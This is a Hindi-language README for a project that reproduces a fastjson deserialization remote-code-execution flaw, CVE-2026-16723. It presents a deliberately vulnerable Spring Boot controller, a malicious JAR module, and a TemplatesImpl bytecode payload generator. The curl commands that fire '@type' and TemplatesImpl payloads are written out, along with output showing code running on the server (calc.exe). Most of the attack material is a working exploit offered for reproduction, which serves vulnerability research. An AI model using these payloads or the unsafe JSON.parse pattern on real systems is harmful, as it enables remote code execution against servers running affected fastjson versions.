CVE-2026-16723 प्रजनन परियोजना

अवलोकन

यह परियोजना CVE-2026-16723 का प्रजनन करती है — fastjson 1.2.68 से 1.2.83 में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता। यह भेद्यता डिफ़ॉल्ट कॉन्फ़िगरेशन के तहत RCE की अनुमति देती है, बिना AutoType सक्षम करने या पूर्व-मौजूद क्लासपाथ गैजेट्स की आवश्यकता के।

गुण	मान
CVE ID	CVE-2026-16723
घटक	fastjson
प्रभावित संस्करण	1.2.68 – 1.2.83
स्थिर संस्करण	1.2.84+, 2.0.0+
भेद्यता प्रकार	डिसीरियलाइज़ेशन / RCE
गंभीरता	CVSS 3.1: 9.0 (क्रिटिकल)
हमला वेक्टर	नेटवर्क
जटिलता	निम्न
आवश्यक विशेषाधिकार	कोई नहीं
उपयोगकर्ता सहभागिता	कोई नहीं

---

परियोजना संरचना

fastjson-cve-2026-16723/
├── pom.xml                              # मुख्य परियोजना (कमजोर fastjson के साथ Spring Boot ऐप)
├── src/main/java/com/example/cve/
│   ├── FastjsonCveApplication.java      # Spring Boot प्रवेश बिंदु
│   └── controller/
│       └── VulnerableController.java    # कमजोर REST एंडपॉइंट्स
├── malicious/                           # अलग मॉड्यूल: आपूर्ति श्रृंखला सिमुलेशन के लिए दुर्भावनापूर्ण JAR
│   ├── pom.xml
│   └── src/main/java/exploit/
│       ├── MaliciousClass.java          # स्टैटिक इनिशियलाइज़र के साथ दुर्भावनापूर्ण क्लास
│       ├── EvilTranslet.java            # TemplatesImpl इन-मेमोरी मोड के लिए दुर्भावनापूर्ण ट्रांसलेट
│       └── GenTemplatesPayload.java     # TemplatesImpl JSON पेलोड उत्पन्न करता है
├── templates-payload.json               # उत्पन्न TemplatesImpl पेलोड (प्रत्यक्ष वैरिएंट)
├── templates-payload-preload.json       # उत्पन्न TemplatesImpl पेलोड (क्लास प्रीलोड वैरिएंट)
├── target/
│   └── fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar
└── malicious/target/
    └── malicious-jar-1.0.jar

---

भेद्यता विवरण

मूल कारण

fastjson 1.2.68–1.2.83 में AutoType सुरक्षा तंत्र में एक बायपास मौजूद है। यहां तक कि डिफ़ॉल्ट कॉन्फ़िगरेशन (autoTypeSupport=false) के साथ भी, हमलावर निम्नलिखित एक्सप्लॉइट श्रृंखलाओं का उपयोग करके क्राफ्टेड JSON पेलोड के माध्यम से मनमानी क्लासेस इंस्टैंशिएट कर सकते हैं:

1. java.lang.Class + com.sun.rowset.JdbcRowSetImpl (JNDI इंजेक्शन)
2. java.lang.Runtime (प्रत्यक्ष कमांड निष्पादन)
3. आपूर्ति श्रृंखला हमला क्लासपाथ पर दुर्भावनापूर्ण JAR के माध्यम से (@type: exploit.MaliciousClass)

कमजोर कोड

VulnerableController.java — दो एंडपॉइंट्स समस्या प्रदर्शित करते हैं:

@PostMapping("/parse")
public String parseJson(@RequestBody String json) {
    // कमजोर: डिफ़ॉल्ट कॉन्फ़िग के साथ JSON.parseObject
    // ParserConfig.getGlobalInstance().setAutoTypeSupport(true) की आवश्यकता नहीं है!
    JSONObject obj = JSON.parseObject(json);
    return "Parsed: " + obj.toJSONString();
}

@PostMapping("/deserialize")
public String deserializeJson(@RequestBody String json) {
    // Object में डिसीरियलाइज़ेशन बलपूर्वक करें — वास्तविक क्लास इंस्टैंशिएशन ट्रिगर करता है
    Object obj = JSON.parse(json);
    return "Deserialized: " + obj.getClass().getName();
}

---

परियोजना का निर्माण

पूर्वापेक्षाएँ

• Java 8+
• Maven 3.6+

निर्माण कमांड

# मुख्य एप्लिकेशन बनाएं
mvn clean package -DskipTests

# दुर्भावनापूर्ण JAR बनाएं (अलग मॉड्यूल)
cd malicious && mvn clean package && cd ..

आउटपुट आर्टिफैक्ट्स

• target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar — Spring Boot फैट JAR
• malicious/target/malicious-jar-1.0.jar — exploit.MaliciousClass के साथ दुर्भावनापूर्ण JAR

---

एप्लिकेशन चलाना

java -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

सर्वर http://localhost:8080 पर शुरू होता है

रनटाइम आवश्यकता: यह परियोजना Java 8 को लक्षित करती है और TemplatesImpl इन-मेमोरी मोड JDK 8 पर सत्यापित है। JDK 9+ पर मॉड्यूल सिस्टम java.xml आंतरिक तत्वों तक रिफ्लेक्टिव एक्सेस को अवरुद्ध करता है, इसलिए श्रृंखला Error: create instance error, class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के साथ विफल हो जाती है जब तक कि आप --add-opens फ्लैग नहीं जोड़ते:

java --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
     --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc=ALL-UNNAMED \
     -jar target/fastjson-cve-2026-16723-1.0.0-SNAPSHOT.jar

सत्यापित करें कि क्लासपाथ में दुर्भावनापूर्ण JAR शामिल है

मुख्य pom.xml दुर्भावनापूर्ण JAR को निर्भरता के रूप में घोषित करता है, इसलिए यह फैट JAR में बंडल होता है:

<dependency>
    <groupId>exploit</groupId>
    <artifactId>malicious-jar</artifactId>
    <version>1</version>
</dependency>

रनटाइम पर सत्यापित करें:

curl http://localhost:8080/api/debug

---

भेद्यता का परीक्षण

स्वास्थ्य जांच

curl http://localhost:8080/api/test

अपेक्षित: CVE-2026-16723 Reproduction Endpoint Ready...

---

आपूर्ति श्रृंखला हमला (क्लासपाथ पर दुर्भावनापूर्ण क्लास)

malicious मॉड्यूल exploit.MaliciousClass प्रदान करता है जिसमें एक स्टैटिक इनिशियलाइज़र है जो क्लास लोड होने पर calc.exe निष्पादित करता है।

curl -X POST http://localhost:8080/api/deserialize \
  -H "Content-Type: application/json" \
  -d '{"@type":"exploit.MaliciousClass"}'

परिणाम:

>>> MALICIOUS STATIC INITIALIZER EXECUTED <<<
>>> MaliciousClass constructor called <<<

और सर्वर पर calc.exe लॉन्च होता है।

नोट: यह एक आपूर्ति श्रृंखला परिदृश्य प्रदर्शित करता है जहां क्लासपाथ पर एक दुर्भावनापूर्ण निर्भरता मौजूद है। भेद्यता क्लासपाथ पर किसी भी क्लास के इंस्टैंशिएशन की अनुमति देती है, न केवल JDK क्लासेस की।

---

इन-मेमोरी बाइटकोड मोड (TemplatesImpl, कोई बाहरी सर्वर आवश्यक नहीं)

आपूर्ति श्रृंखला मोड (जिसे क्लासपाथ पर दुर्भावनापूर्ण क्लास की आवश्यकता होती है) और JNDI मोड (जिसे LDAP/RMI सर्वर की आवश्यकता होती है) के विपरीत, यह मोड दुर्भावनापूर्ण बाइटकोड को सीधे पेलोड में एम्बेड करता है और इसे com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl के माध्यम से मेमोरी से लोड करता है — कुछ भी अतिरिक्त तैनात करने की आवश्यकता नहीं है।

चरण 1 — पेलोड उत्पन्न करें:

cd malicious && mvn -DskipTests clean install && cd ..
java -cp malicious/target/malicious-jar-1.0.jar exploit.GenTemplatesPayload

यह exploit.EvilTranslet (एक AbstractTranslet उपवर्ग जिसका स्टैटिक इनिशियलाइज़र calc.exe चलाता है) संकलित करता है, इसके .class बाइट्स को base64-एन्कोड करता है, और लिखता है:

• templates-payload.json — प्रत्यक्ष वैरिएंट ("@type": "TemplatesImpl")
• templates-payload-preload.json — java.lang.Class प्रीलोड वैरिएंट

चरण 2 — पेलोड फायर करें:

curl -X POST http://localhost:8080/api/deserialize-autotype \
  -H "Content-Type: application/json" \
  --data-binary @templates-payload.json

परिणाम:

>>> EVIL TRANSLET STATIC INITIALIZER EXECUTED <<<
>>> EvilTranslet constructor called <<<

और सर्वर पर calc.exe लॉन्च होता है।